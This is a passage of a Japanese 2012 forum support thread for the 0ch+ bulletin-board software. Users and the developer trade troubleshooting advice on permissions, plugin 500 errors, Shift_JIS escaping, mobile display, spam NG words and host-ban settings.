掲示板ディレクトリ: aaadirectory
掲示板名称: aaaboard
説明: aaadescription

とすると「ERROR:2000 - 掲示板ディレクトリの作成に失敗しました。
パーミッション、または既に同名の掲示板が作成されていないかを確認してください。」となります。

何が問題なのでしょうか。


109 :名無しさん@ぜろちゃんねるプラス:2012/06/13(水) 22:09:11.54 ID:T6Lsbb4s0
>>108
CentOS 6.2 x86_64 です。

110 :名無しさん@ぜろちゃんねるプラス:2012/06/13(水) 22:52:03.20 ID:joVOKrS+0
>>108
>規定外の文字
掲示板ディレクトリには英数字とハイフン、アンダーバーしか使えません
例えば http://example.jp/aaadirectory/ ではaaadirectoryのことです

>ディレクトリの作成に失敗
掲示板のディレクトリを作成しようとしている場所にすでにaaadirectoryが存在しています
デフォルトの設定ではtestと同じ階層に作成されるので、
既に存在するaaadirectoryが不要なものであればFTPから削除してもう一度作成してください
あるいは掲示板ディレクトリ名を他のものに変更して作成しなおしてください

111 :108:2012/06/14(木) 01:23:27.24 ID:CWtUO2Kw0
初歩的な質問に答えて頂きありがとうございます。
無事に掲示板を設置できました。

112 :名無しさん@ぜろちゃんねるプラス:2012/06/18(月) 17:11:12.62 ID:AdU2H6AE0
>>107
DOCOMOがスレッド立てられない原因がわかりました。
formタブに「?guid=ON」がなかったからみたいです。

★before★
<form action="***/bbs.cgi" method="POST" utn>

★after★
<form action="***/bbs.cgi?guid=ON" method="POST" utn>

?guid=ONが付加されてないがために
端末情報が送信されない→エラー:端末情報を送信してください。

になってたみたいです。

ソフトバンク件ですが、IP追加しても書き込みができますね・・・
なぜなんでしょうね^^;

113 :名無しさん@ぜろちゃんねるプラス:2012/06/28(木) 21:00:03.46 ID:ariSPYmo0
>>112
わざわざ報告ありがとうございます
次のリリースにて修正しておきます

>ソフトバンク
こちらでは実験環境が無いのでなんとも言えませんね…

114 :名無しさん@ぜろちゃんねるプラス:2012/07/04(水) 19:32:37.67 ID:XrFaoSrY0
こんにちは。こういうものに関しては超初心者の私が質問させて頂きます。
atpagesのwww39を借りてぜろちゃんねるプラスを使おうと思ったのですが、なぜか新規スレッドを作成すると
ERROR:現在この掲示板は読取専用です。ここは待つしかない。。。
と出てしまいます。パーミッションはすべてHP通りに設定しました。

115 :114:2012/07/04(水) 19:34:09.29 ID:XrFaoSrY0
すいません。アドレスを載せていませんでした。
http://www39.atpages.jp/~pcwota/otegaru_2ch/

116 :名無しさん@ぜろちゃんねるプラス:2012/07/04(水) 19:58:16.46 ID:o8aBFfqw0
>>114
管理画面から 掲示板 -> 作成した掲示板をクリック
掲示板設定 -> 0chオリジナル設定 -> 掲示板読取専用 の欄で書き込み可にチェックする

あるいはSETTING.txtを直接編集するか
掲示板設定 -> 設定インポート -> 直接インポート で
BBS_READONLY=none
をインポートする

117 :名無しさん@ぜろちゃんねるプラス:2012/07/04(水) 20:38:08.74 ID:XrFaoSrY0
>>166
ありがとうございます。できました!

118 :名無しさん@ぜろちゃんねるプラス:2012/07/05(木) 09:28:46.13 ID:APMsFZPw0

現在、0.6.4を使わせていただいております。

そこで質問なのですが、作成済みの板の『掲示板ディレクトリ』名の変更はできるのでしょうか?
また、変更が出来ない場合には、既に書き込まれている情報はそのまま引き継いで、新しい掲示板ディレクトリ名で板を作成することはできるのでしょうか?

板のURLを変更したく質問いたしました。

以上、よろしくお願いいたします。

119 :あぼーん:あぼーん
あぼーん

120 :あぼーん:あぼーん
あぼーん

121 :あぼーん:あぼーん
あぼーん

122 :あぼーん:あぼーん
あぼーん

123 :あぼーん:あぼーん
あぼーん

124 :名無しさん@ぜろちゃんねるプラス:2012/07/05(木) 21:28:06.74 ID:1CHNqC220
>>118
一応可能です

1. FTP等からディレクトリ名を直接変更する
2. 管理画面から掲示板一覧のページで「情報更新」する
  ※この時点で機能的には問題なく変更されている
3. 一覧から変更したい掲示板の管理画面を開く
4. 掲示板設定の基本設定で画像ファイルのURLを修正する
5. 掲示板一覧のページに戻り、変更したい掲示板にチェックして「index更新」する

以上で変更完了です

125 :名無しさん@ぜろちゃんねるプラス:2012/07/05(木) 22:42:08.86 ID:APMsFZPw0
>>124
ご丁寧な回答ありがとうございます。
手順を参考に変更してみたいと思います。

126 :名無しさん@ぜろちゃんねるプラス:2012/07/07(土) 11:56:46.99 ID:I4ptr/xo0
Jane styleから、
書き込むことはできるんですが書き込み後にログ破損と出ます(レスポンスのみ)。
破損させずに書き込むにはどうすれば?

127 :名無しさん@ぜろちゃんねるプラス:2012/07/07(土) 16:37:28.45 ID:I4ptr/xo0
[701] test

[701] datas
┗ [604] *.*

[700] info
┗ [600] *.cgi

[700] module
┗ [600] *.pl

[700] mordor
┗ [600] *.pl

[700] perllib
┗ [700] Digest
  ┗ [700] SHA
┗ [600] PurePerl
[700] Jcode
┗ [600] Nihongo.pod

[700] plugin
┗ [600] 0ch_*.pl

[700] *.cgi

鯖は@pagesです
この状態で500 Errorになってしまいます
どうしたらいいでしょうか
ご指摘頂けると嬉しいです

128 :名無しさん@ぜろちゃんねるプラス:2012/07/07(土) 19:19:17.84 ID:I4ptr/xo0
>>126
>>127
自己解決しましたm(_ _;)m

129 :名無しさん@ぜろちゃんねるプラス:2012/07/18(水) 17:16:31.72 ID:aTwUigLE0
>>85さんと同じ症状 ERROR:スレッド立てすぎです。もうちょいもちついてください。 で困っています。
共通キャップでスレッド作成規制解除とスレッド作成可能(キャップ)にチェックを入れたのですが、それでもエラーが出てしまいます。他にどのようにすればいいのでしょうか?



130 :0ch+開発担当 ◆0chp.sx.ik :2012/07/18(水) 19:47:12.76 ID:GjjRQG1w0
>>129
キャップ自体の作成あるいはグループとの関連付けをしていないのではないでしょうか

管理画面から キャップ -> キャップ登録 でキャップを登録
共通キャップグループ あるいは各掲示板の キャップグループ でグループにキャップを関連付ける

131 :またんき:またんき
     ∧ ∧
   ヽ(・∀ ・)ノ
   (( ノ(  )ヽ ))
     <  >

132 :zirai123 ◆ARS../S96A :2012/08/11(土) 20:12:05.09 ID:tvuSpVcI0
拡張機能設定で更新を押すと500エラーになってしまいます。
誰か500エラーを直す方法を教えて下さい。
サーバーはhttp://ktkr.net/です。

133 :名無しさん@ぜろちゃんねるプラス:2012/08/11(土) 21:04:41.60 ID:wXXA9AB60
>>132
パーミッションは適切に設定されているかプラグインの一部にバグがあると考えられます。

まずパーミッションが適切であるか確認してください。
パーミッションが全て適切に設定されているのであれば,
標準で入っているプラグイン以外を一旦別のフォルダに移すか削除して試してみてください。

134 :zirai123 ◆ARS../S96A :2012/08/12(日) 19:25:48.08 ID:0b93Z1po0
>>133
地域表示プラグインに問題があるようです。
0ch_area.plの削除で500エラーは解決しました。
しかし、地域表示プラグインが使えないので困っています。

135 :名無しさん@ぜろちゃんねるプラス:2012/08/12(日) 21:24:23.94 ID:7QUCz6Fc0
>>134
http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/330/area/trunk/0ch_area2ch.pl?export=raw
これ使ってみてください (※0.6.5 Update必須)

136 :zirai123 ◆ARS../S96A :2012/08/12(日) 22:49:24.62 ID:0b93Z1po0
>>135
やはり500エラーになります。別のサーバーで試しても駄目でした。

137 :名無しさん@ぜろちゃんねるプラス:2012/08/13(月) 02:19:02.29 ID:fHNnGrs+0
>>136
>>135のプラグインの一行目左端を“#”でエスケープした上で、「どこどこJP」さんのAPIキーをもう一度よく確認して入れ直してみてください。
成功を祈る。

138 :名無しさん@ぜろちゃんねるプラス:2012/08/13(月) 06:58:11.88 ID:rJCMp53o0
大変失礼しました。
>>135のプラグイン(0ch_area2ch.pl)はAPIが「ken.2ch.net」仕様で、「どこどこJP」さんのAPIキーは不要の模様です。


zirai123 ◆ARS../S96A さんへ:

1)このプラグインをローカル上のエディタで開いて一行目左端を“#”でエスケープした上で上書き保存し、pluginディレクトリにupload
2)今までの“0ch_area.pl”は、ローカルにバックアップするなどして、pluginディレクトリから一旦削除
3)Webブラウザで管理画面にログインし、「拡張機能設定」→[更新]をクリック。“地域表示プラグイン( ken.2ch.net版 )”が追加されていることを確認
4)“地域表示プラグイン( ken.2ch.net版 )”の右にある[個別設定]で各種パラメータを入力して[設定]をクリック
5)再度「拡張機能設定」に戻り、地域表示プラグイン( ken.2ch.net版 )にチェックを入れ、[設定]をクリック
6)無事に進んだら、管理画面からログオフ

ここまで行うことができませんでしょうか?

1)〜6)が完了せずにステータス500が発生するとなると、
admin.cgiもしくはそれがrequireしているモジュールのどれかにゴミが入ってるとかのきらいが捨て切れません。
admin.cgiや、moduleディレクトリのファイル群などを入れ直しても変わりませんか?

もしくは、perlのバージョンとか、サーバの仕様の何かとの衝突なんでしょうかね?
そうなると、もうサーバ屋さんに心当たりを尋ねるしかないんでしょうかね?

139 :zirai123:2012/08/13(月) 11:03:07.66 ID:r0XveJcY0
>>138
正常に動作しました。本当にありがとうございました。

140 :名無しさん@ぜろちゃんねるプラス:2012/08/15(水) 11:16:55.18 ID:bkn+VTB20
Linuxサーバでこのソフトを動かそうとしている者です

現在公式サイトから圧縮ファイルをDLした後、FTPでアップロードしてからサーバ側で解凍して使っているのですが、
各.plなどの中身が文字化けしていたり、<8C><A0>などの表示がされてしまっています

表示でググっても関係ないページばかりで困っております、どなたか解決方法をご存知ありませんか?

141 :名無しさん@ぜろちゃんねるプラス:2012/08/15(水) 12:09:55.22 ID:yu1dUBBM0
>>140
1)その圧縮ファイルは、ローカルでは正常に解凍できますか(壊れていませんか)?
2)圧縮されていないファイルは正常にFTP転送されますか?
3)まずローカルコンピュータで解凍を済ませ、それからサーバに転送では都合が悪いのですか?

142 :名無しさん@ぜろちゃんねるプラス:2012/08/15(水) 12:30:16.99 ID:yu1dUBBM0
>>140
おそらく改行コードに纏わる何かだと思いますが、ここは割り切って、Windows端末でzipの方を落とし、
Windowsの端末でファイル編集〜転送を試してみては如何ですか?

143 :0ch+開発担当 ◆0chp.sx.ik :2012/08/15(水) 12:41:01.90 ID:2ep6ffnI0
>>140
0ch+のソースコードはShift_JISで書かれています
エディタあるいは端末の文字コードを変更してみてください

144 :名無しさん@ぜろちゃんねるプラス:2012/08/22(水) 01:21:15.62 ID:1faLQH6M0
携帯で読む際の省略文字ってどこで変更できますか?
現在の仕様だとあまり文字数がなくてもすぐ省略されてしまうので変更したいです

145 :0ch+開発担当 ◆0chp.sx.ik :2012/08/22(水) 12:26:51.01 ID:S+NiK7W60
>>144
管理画面に設定項目はありませんが、r.cgiの350-380行目付近に省略関連の記述があります

 $maxLen = $Sys->{'SET'}->Get('BBS_LINE_NUMBER');
 $maxLen = int($maxLen * 5);
この部分を
 $maxLen = 200; # バイト数
のように書き換えることで文字数を変更できます

また
 $elem[3] .= " <a href=\"$path\">省$maxLen</a>";
の部分を書き換えることで省略時のリンクを変更できます

146 :便乗者:2012/08/22(水) 12:43:59.30 ID:VC3GzuUo0
>>144
おお!私も“なりすまし”防止の観点からフルパスを表示させたく、質問しようと思っていました。

>>145
私は結局、 galadriel.pl をPCの場合のクッションなし想定でコピーしたのですが、0ch+開発担当さんの方法が正攻法ですね。
横からつまみ食いさせて頂きます。

147 :名無しさん@ぜろちゃんねるプラス:2012/08/22(水) 19:18:36.40 ID:1faLQH6M0
>>144
できました
ありがとうございます

148 :名無しさん@ぜろちゃんねるプラス:2012/09/02(日) 01:43:43.46 ID:S3I1jKoY0
過去ログ倉庫における
なるほど告知欄じゃねーの
というのはどこから変更すればいいですか?

他の告知欄は変更できましたが過去ログ倉庫だけ分からないです

149 :0ch+開発担当 ◆0chp.sx.ik :2012/09/02(日) 12:50:07.28 ID:398+v9L20
>>148
過去ログ倉庫の告知欄も告知編集(PC用)です

変更しても反映されないのは過去ログのHTMLが更新されないからです
過去ログをプールから再生成すれば反映されます
※再生成すると過去ログ一覧がダブるので一度情報更新をしてください

すでにプールから削除してしまった場合は手動でHTMLを書き換えるしかありません

150 :名無しさん@ぜろちゃんねるプラス:2012/09/02(日) 20:30:29.19 ID:S3I1jKoY0
>>149
index更新で表示されました
ありがとうございます

151 :名無しさん@ぜろちゃんねるプラス:2012/09/04(火) 08:17:57.96 ID:BMR25c3g0
現在のバージョンで忍法帖に対応していますか?
対応していない場合今後対応する予定はありますか?

152 :0ch+開発担当 ◆0chp.sx.ik :2012/09/05(水) 10:46:44.66 ID:umv3zM8Y0
>>151
忍法帖には対応していません

システムもわりと複雑ですし、中小規模の掲示板では導入するメリットが少ないということで
忍法帖を導入する予定も今のところありません

153 :名無しさん@ぜろちゃんねるプラス:2012/09/05(水) 21:22:02.75 ID:VkrEXHSY0
了解です
ご返答ありがとうございました

154 :名無しさん@ぜろちゃんねるプラス:2012/09/12(水) 16:16:36.24 ID:eAbY3rY+0
いつもお世話になっています

サーバに負荷を与える英文スパムのレスを削除していたのですが
削除レス一覧というのがありますけれども
レスの復活が出来ると言う事は
これだとまだどこかには保存されているのですよね?
借りているサーバー上から消してしまいたいので
保存されている場所をお教え願います

155 :0ch+開発担当 ◆0chp.sx.ik :2012/09/12(水) 16:36:32.35 ID:hQxYi7Y+0
>>154
削除したレスのデータは ./bbs名/log/del_スレッドID.cgi に保存されるようになっています
なので復活させる予定がなければ、logフォルダ内のdel_から始まるファイルをすべて削除しても問題ありません

# FTPから削除するのもアレなので、そのうち管理画面からレスを完全削除する機能をつけようと思います

156 :名無しさん@ぜろちゃんねるプラス:2012/09/13(木) 20:59:59.72 ID:crDqVO/g0
>>155
返信どうもありがとうございます
教えて戴いたとおりにしましたらできました

重ね重ねの質問になり申し訳ないのですが
自動的に
http://nagamochi.info/src/up117042.jpg
のような書き込みがされるので
効果があるのであれば出会いスパムキャンセラーのプラグインを使いたいのですが
0ch_spamblockはどのファイルにアップロードをすれば宜しいでしょうか?

157 :0ch+開発担当 ◆0chp.sx.ik :2012/09/13(木) 22:57:25.16 ID:LGGLMeq20
>>156
このプラグインは特定の業者のスパムを排除するものなので、
効果は期待できませんがあるに越したことはないでしょう

./test/plugin/ ディレクトリに0ch_spamblock.plを置いて、
管理画面のシステム設定->拡張機能設定からプラグインを有効にしてください

この手のスパムはNGワードに「href=」「url=」などを登録する方が効果があると思います
NGワードは各掲示板の掲示板設定から設定できます

158 :名無しさん@ぜろちゃんねるプラス:2012/09/17(月) 12:15:37.53 ID:S2fe4kMM0
開発者様
お世話になります。

どちらに質問すればよいかわからないので
こちらで質問させていただきます。

ぜろちゃんねるプラスにてBBSMENUもどきを表示させたいのですが、
下記のようなものを取得し、表示させることは可能でしょうか?

カテゴリ1
・板名1
・板名2
・板名3

カテゴリ2
・板名4
・板名5
・板名6

もし可能でしたら、それを実現するためのヒントをご教授願います。
お手数をお掛けいたしますが宜しくお願い致します。

159 :0ch+開発担当 ◆0chp.sx.ik :2012/09/17(月) 14:57:53.12 ID:cyLbB40s0
>>158
簡単なプログラムを組んだので自由に改変して利用してください
http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/331/codes/bbsmenu.cgi

1. ページの右下の方の「元形式でダウンロード」からbbsmenu.cgiを保存
2. bbsmenu.cgiを置きたい階層に置く
3. $system_dirの値を適宜変更する(その階層からtestへの相対パス)
4. 1行目のパス指定部分を修正(sourceforgeのバグで#がbになってます)

160 :名無しさん@ぜろちゃんねるプラス:2012/09/19(水) 14:33:06.58 ID:dQCS1diA0
r.cgiのレス表示について。

例えばr.cgiでこのスレを下記のURLで表示すると、1レス目から最終レスまで
全レス表示されます。
http://yakin.38-ch.net/test/r.cgi/zerochplus/1310282996/

レス番号の指定がない場合は1レス目から10レス目までを表示する、
という設定にするにはr.cgiのどこを改造すればいいですか?

161 :名無しさん@ぜろちゃんねるプラス:2012/09/19(水) 15:16:23.49 ID:Y1Vt6O0E0
>>157
教えて戴いたとおりにNGワードを登録しましたら
書き込みが途絶えました
アドバイスありがとうございます
プラグインも念のため使わせていただいております

162 :0ch+開発担当 ◆0chp.sx.ik :2012/09/19(水) 15:39:49.25 ID:Qxy7cmZE0
>>160
r.cgiの140-150行目付近の
  # 表示開始終了位置の設定
の直前に
  # レス番号の指定がない場合のデフォルト設定
  if ($elem[3] == -1 && $elem[4] == -1) {
    $elem[3] = 1; # 開始番号
    $elem[4] = 10; # 終了番号
  }
を加えてください

163 :名無しさん@ぜろちゃんねるプラス:2012/09/19(水) 20:01:54.80 ID:dQCS1diA0
>>162
早速組込みました。思い通りに表示してくれました。
ありがとうございます。

過去ログ保管サイトを作っています。
1000レスもある過去スレを表示する場合、
レス番指定無しのURLからだと1000レスも一度に表示され、
それはさすがに携帯では荷が重いと感じていたので、
とても助かりました。

164 :あぼーん:あぼーん
あぼーん

165 :あぼーん:あぼーん
あぼーん

166 :あぼーん:あぼーん
あぼーん

167 :あぼーん:あぼーん
あぼーん

168 :あぼーん:あぼーん
あぼーん

169 :あぼーん:あぼーん
あぼーん

170 :またんき:またんき
     ∧ ∧
   ヽ(・∀ ・)ノ
   (( ノ(  )ヽ ))
     <  >

171 :あぼーん:あぼーん
あぼーん

172 :あぼーん:あぼーん
あぼーん

173 :名無しさん@ぜろちゃんねるプラス:2012/09/29(土) 12:40:06.57 ID:rKYeTrrA0
携帯電話の固体識別番号を指定してもアクセス禁止にできないのですが
固体識別番号での制限は不可能なのでしょうか?


174 :名無しさん@ぜろちゃんねるプラス:2012/09/29(土) 21:25:09.36 ID:FJvCokvw0
連続投稿すみません
規制ユーザの編集の対象ホスト一覧にホストを指定しても書き込めてしまいます
何か特別な書き方などあるのでしょうか?

175 :0ch+開発担当 ◆0chp.sx.ik :2012/09/30(日) 14:47:14.29 ID:qVuDq4/A0
>>173
現状では固有識別子での規制はできません
需要があるようなら機能の追加を検討します

>>174
規制ユーザの設定の書式は以下の4種類があります
・ホスト名に対する正規表現(\.ocn.ne.jpなど)
・IPアドレス(127.0.0.1など)
・IPアドレスの範囲指定(192.168.0.11-192.168.0.20など)
・CIDR表記によるIPアドレスの範囲指定(172.16.0.0/24など)

注意事項としては、「*」などのワイルドカードは扱えない(正規表現を用いる)ことくらいです
正規表現は2chの規制一覧などを参考にしてみてください
http://qb7.2ch.net/_403/madakana.cgi

176 :0ch+開発担当 ◆0chp.sx.ik :2012/09/30(日) 15:20:44.48 ID:qVuDq4/A0
>>174
追加ですが、大抵の場合ホスト名(IPアドレス)は可変で、ISPに再接続することで意図的にホスト名を変えることができます
そのせいで特定のホスト名で規制しても突破されることがよくあります
こういう理由があるのでホスト名指定で特定のPCだけを規制することは困難です

しかし規制しないわけにもいかないので、正規表現などを使ってそのISP全体あるいは一部を期限付きで規制するのが一般的です
例えば「\.ocn.ne.jp」と指定すればOCN全体を規制することができます

177 :名無しさん@ぜろちゃんねるプラス:2012/09/30(日) 15:39:00.19 ID:ew/cuuMQ0
>>175-176
やはり現在の仕様だと携帯電話の規制は難しそうですね。
ガラケーの携帯電話の荒らしが多いのでちょっと困ってました。
携帯電話からのアクセスを一括で遮断するわけにもいかないのでしばらく削除で様子見します。

ログを見ると固有識別子やimodeIDやサブスクライバIDなどを取得してるので、
今後これらで規制ができるようになるとありがたいです。
ご返答ありがとうございました。

178 :名無しさん@ぜろちゃんねるプラス:2012/10/06(土) 17:31:56.50 ID:49j2d8gEO
最近携帯からの荒らしがひどいので個体識別かimodeIDなどで規制できるようになると嬉しいです

179 :0ch+開発担当 ◆0chp.sx.ik :2012/10/06(土) 18:04:25.44 ID:b5zexY020
では次のリリースまでに識別子による規制ができるようにしておきます

180 :名無しさん@ぜろちゃんねるプラス:2012/10/06(土) 18:18:49.91 ID:49j2d8gEO
ありがとうございます
はい、よろしくお願いします

181 :名無しさん@ぜろちゃんねるプラス:2012/10/16(火) 09:44:38.74 ID:/iPfVzBA0
ttp://engawa.2ch.net/mysv/

2chの上記のような掲示板で
「【看過できない】集めればいいんだろ?コンプガチャの実態とは、★2」
「【3.11】 その時2ちゃんねるは・・・」
といったスレッドが、他のスレッドが書き込みされても下がりません。
必ず1番目と2番目のスレッドになります。

通常のスレッドではない特別なスレッドだと思うのですが、
このように特別なスレッドを固定する設定やプラグインなどはありますでしょうか。
告知用に使いたいと思っています。

182 :181:2012/10/16(火) 10:03:05.79 ID:/iPfVzBA0
すみません追加です。
admin.cgi->各種編集
に告知欄が用意されていますが、人によっては2chブラウザを使っている為この告知欄が見れません。
これらの人にも情報発信したいのでスレッドでの情報発信を考えています。

183 :名無しさん@ぜろちゃんねるプラス:2012/10/16(火) 20:53:04.73 ID:APf6ib4+0
>>179
これはぜひお願いします。

184 :0ch+開発担当 ◆0chp.sx.ik :2012/10/16(火) 21:55:50.54 ID:ioq2KJtU0
>>181
いわゆる「924スレ」ですね、この機能は一応開発予定になっています
近いうちに実装しようと思います

>>183
開発側では既に実装しています
次のリリース(0.7.0か開発版)ですぐに利用できるようになります

185 :181:2012/10/17(水) 16:34:12.72 ID:YLvMunxs0
>>184

924スレという機能なんですね。
ググってみたら、こちらにチケットを見つけました。↓
今回の書き込みも追加いただきありがとうございます。

ttp://sourceforge.jp/ticket/browse.php?group_id=5238&tid=25860

ちなみに前にimg0chさんの方をさわったときには「特殊スレッド」という名前で
管理画面の方から特殊スレッド作成などの管理が出来ていました。

186 :名無しさん@ぜろちゃんねるプラス:2012/10/18(木) 11:33:37.95 ID:WtmN9jxo0
zerochplus_0.6.5/test/plugin/0ch_image.pl

何気にこのファイルを開いたら、

return '画像表\示機能\';

という行を見つけました。
これに対して2つ質問があります。
(1)表と示の間にある \ はsjisの文字化け対策(コードの区切り用)なのでしょうか。
(2)機能\'; にある \ はその後ろのシングルクォーテーションを文字列扱いにするため、
 シングルクォーテーションで閉じられてない状態になり、エラーになると思うのですが、何か特殊な扱いなのでしょうか。
 サクラエディタで開くとエラー扱いになっています。

187 : ◆0chp.sx.ik :2012/10/18(木) 12:53:29.11 ID:okAH2VBM0
これはShift_JIS特有の不具合に対処するためのバックスラッシュ(円マーク)です
0ch/0ch+スクリプトはShift_JISで書かれているので注意が必要です

何が不具合かというと、
Shift_JISで「表」「能」「ソ」などの文字の2バイト目が16進数で5Cになっていて、
この5Cが表すASCII文字が「\」であるために意図しないエスケープ処理が発生してしまいます
これに対処するため「\\」となるように「表」を「表\」と書きます

また、2バイト目が「@」「%」「|」になっている2バイト文字でも同様の不具合が起きます
Shift_JISでPerlコードを書くときには注意が必要です

188 :名無しさん@ぜろちゃんねるプラス:2012/10/18(木) 13:54:58.68 ID:WtmN9jxo0
>>187
ありがとうございます。

やはりsjisの対策なんですね。
内部コード(utf8フラグ有り無しなど)を使用していないのはencodeの時間を短縮したい為でしょうか。

あと、参考に聞きたいのですが、みなさん開発は普通のテキストエディタでしているのでしょうか?
サクラエディタや秀丸、その他IDEで開くとエラーになると思うのですが、エラーのまま作成しているのでしょうか?

189 : ◆0chp.sx.ik :2012/10/18(木) 14:31:30.93 ID:R4VOmnLU0
0ch+は0chの派生で、その0chがsjisのまま処理していたのでそれに合わせているに過ぎません

また、内部コードに変換することも考えましたが、sjisから内部コードに変換する段階で全角チルダ問題が起こることもあって断念しました

190 : ◆0chp.sx.ik :2012/10/18(木) 14:37:40.87 ID:dTmZb7jQ0
僕は開発に秀丸エディタを使用していますが、シンタックスハイライトが崩れるのは妥協しています

人によっては以下のようにして誤魔化すこともあります
$str = '表\'; # ';

191 :186:2012/10/18(木) 15:22:54.35 ID:WtmN9jxo0
>>189,190

流用の為なんですね。
コメントでの対応は自分も考えて、ダサすぎると思っていたのですが、結構一般的なんですね。
その対応でいきたいと思います。
ありがとうございました。


192 :名無しさん@ぜろちゃんねるプラス:2012/10/20(土) 12:58:20.57 ID:MqR81k++0
ぜろちゃんねるプラス利用者へのお願い

ぜろちゃんねるプラスを設置しているサイトの中に、CGIの動作に関する設定ファイルの内容が
検索エンジンで筒抜け、さらには、クローラでキャッシュされているサイトさえあるようです。

ぜろちゃんねるプラスのCGIが導入ディレクトリ内で参照しているモジュール群の中に、
otherに対してブラウズを許さなければならないファイルは本来存在しないはずなので、
.htaccessやパーミッションの設定を駆使するなどして、ディレクトリやファイル群を
外部から秘匿するようにしてください。

具体的には、

/test/の中の

    info/
    module/
    plugin/
    plugin_conf/

    ↑あたりのディレクトリを、外部から秘匿する意識を設置者が持ってください。

193 :名無しさん@ぜろちゃんねるプラス:2012/10/20(土) 14:24:26.73 ID:TP5QKb020
>>193
次回アップデート時にその4つのディレクトリに下記.htaccsessを同梱とかしていただけるとありがたいです。

order allow,deny
allow from all

test直下に.htaccess置いて、これとこれのディレクトリのアクセス禁止ってできれば1ファイルでいいので楽ですね。
.htaccessあまり詳しくないので、そんなことできるのかよくわかりませんが。

194 :192:2012/10/20(土) 18:16:47.46 ID:MqR81k++0
いや、どちらかというと、CGIをダウンロードして持っていく人へのセキュリティ意識の啓発も大事だと思ったんですよ。
中には、CGIが使えても.htaccessを認識できない。そんな仕様のサーバを契約してる人もいるでしょうし。

というより、私が発見した中には、そもそもCGIを使用できないサーバに上がっていた例が一件。
動かないからって、諦めてそのまま放置したのでしょう。内容の一部で検索したら設定ファイルもヒットしました。
コピー・踏み台にされたら一大事でしょう(今回の発見分はそのサイトに連絡済)。

195 :193:2012/10/20(土) 19:25:25.01 ID:TP5QKb020
そういった意図があったんですね。
確かにその辺の知識も持ってないと色々問題起きたりしそうですね。

情報ありがとうございました。

196 :名無しさん@ぜろちゃんねるプラス:2012/10/22(月) 21:21:18.70 ID:lq591jOA0
>>184
自分も携帯からの荒らしに大変困っています。

担当者さんから無償で借りている身ですが
早いリリースを宜しくお願いします。

197 :名無しさん@ぜろちゃんねるプラス:2012/10/24(水) 21:22:53.64 ID:KSbW8Jy+0
設置して約二ヶ月ほどになりますが今日急に書き込みができなくなりました
今までは不具合なども一切なく特に設定なども変更していません
さくらインターネットに設置しておりパーミッションは以下のさくらの設定に合わせています
http://www12.atwiki.jp/0ch/pages/8.html

具体的には書き込みをすると読み込み状態になり画面遷移しません
ブラウザを閉じて再度スレを開きなおすと書きこみはされていました
ただindexが更新されておらずindexも古いままです
管理画面にてindex更新を行った場合もそのまま画面が止まってしまいます
どういった原因が考えられるでしょうか?

198 :0ch+開発担当 ◆0chp.sx.ik :2012/10/24(水) 22:20:54.20 ID:QGHppZU60
>>197
今まで問題なかったのに突然不具合がでたということですが、
設定を変更していないということであれば原因の特定は難しいです

情報が少ないのでなんとも言えませんが、
プラグインが怪しい気がするので一度プラグインを無効にしてみてください

199 :名無しさん@ぜろちゃんねるプラス:2012/10/24(水) 23:04:54.00 ID:nZekLhpE0
>>198
バックアップデータを復旧させたら直りました

@testフォルダと掲示板フォルダを別サーバーに移動しても動かず
A予備で作ってあったtestフォルダに変更しても動かず
B掲示板フォルダをバックアップデータのものと入れ替えで動きました

ありがとうございました


200 :名無しさん@ぜろちゃんねるプラス:2012/10/28(日) 15:09:31.59 ID:FlBwB/B20
SpeedyCGIは対応してますでしょうか?

201 :0ch+開発担当 ◆0chp.sx.ik :2012/10/28(日) 15:39:30.52 ID:fZoobEXc0
>>200
開発側でSpeedyCGIなどの実験環境が整っていないので非対応です

一応興味はあるのでいつか手を付けたいとは思っています

202 :名無しさん@ぜろちゃんねるプラス:2012/10/28(日) 15:48:21.63 ID:FlBwB/B20
>>201
了解です
ありがとうございました

203 :名無しさん@ぜろちゃんねるプラス:2012/10/29(月) 19:00:59.90 ID:YB7fcccs0
最新の7.0を携帯でスレッド一覧のスレッドをクリックすると
read.cgiを読みにいき、PC版が表示されます。

r.cgiにするにはどうしたら良いですか?

204 :0ch+開発担当 ◆0chp.sx.ik :2012/10/29(月) 19:55:26.85 ID:kBFFfUBk0
>>203
不具合ですね、修正しておきます

応急処置としては
p.cgi 144行目
$path = $Conv->CreatePath($Sys, 1, $Sys->Get('BBS'), $elem[1], 'l10');

$path = $Conv->CreatePath($Sys, 'O', $Sys->Get('BBS'), $elem[1], 'l10');
に置き換えてください

205 :0ch+開発担当 ◆0chp.sx.ik :2012/10/29(月) 19:59:53.62 ID:kBFFfUBk0
すみません、もう1ヶ所ありました

mordor/varda.pl 158行目も同様に
my $path = $oConv->CreatePath($Sys, 1, $bbs, $key, 'l10');

my $path = $oConv->CreatePath($Sys, 'O', $bbs, $key, 'l10');
に置き換えてください

206 :0ch+開発担当 ◆0chp.sx.ik :2012/10/29(月) 20:01:51.30 ID:kBFFfUBk0
度々すみません、>>205のファイル名を間違えました
正しくは module/varda.pl です

207 :名無しさん@ぜろちゃんねるプラス:2012/10/29(月) 22:25:07.53 ID:YB7fcccs0
>>206
早い対応ありがとうございます。

208 :あぼーん:あぼーん
あぼーん

209 :あぼーん:あぼーん
あぼーん

210 :名無しさん@ぜろちゃんねるプラス:2012/10/31(水) 11:40:25.39 ID:Ywof/VXw0
RSSなどは導入はしませんか?

211 :名無しさん@ぜろちゃんねるプラス:2012/11/02(金) 19:07:20.72 ID:o9YEGR1Y0
質問なんですが
BBQは、チェックをしていれば出来るんですか?

212 :0ch+開発担当 ◆0chp.sx.ik :2012/11/02(金) 19:45:22.09 ID:wwQO98Os0
>>210
特に導入予定はありません

>>211
各掲示板のindex.htmlの最下部に「+BBQ」という表記があれば有効になっています
有効になってなければ以下の2つを設定することで有効になります
・システム設定->規制設定->DNSBL設定で「BBQ」にチェック
・各掲示板の掲示板設定->制限設定->DNSBLチェックで「スルーする」のチェックを外す

213 :名無しさん@ぜろちゃんねるプラス:2012/11/02(金) 20:18:36.87 ID:pnq9Bf0+0
>>212
ありがとうございます!確認してみます

214 :名無しさん@ぜろちゃんねるプラス:2012/11/09(金) 15:10:58.17 ID:AX059ga20
0.6.5を使わせてもらってます。
私も >>40 さんのようにユーザー名とパスワードが変更できなくて、
users.cgiを手動で書き換えてFTPにアップしたらユーザー名は変更できたのですが、
パスワードが変更できませんでした。
パスがReadmeに書かれていた初期設定のものと違うのですが、
手動で書き換えることってできますか?

215 :0ch+開発担当 ◆0chp.sx.ik :2012/11/10(土) 16:12:16.70 ID:E50yas7c0
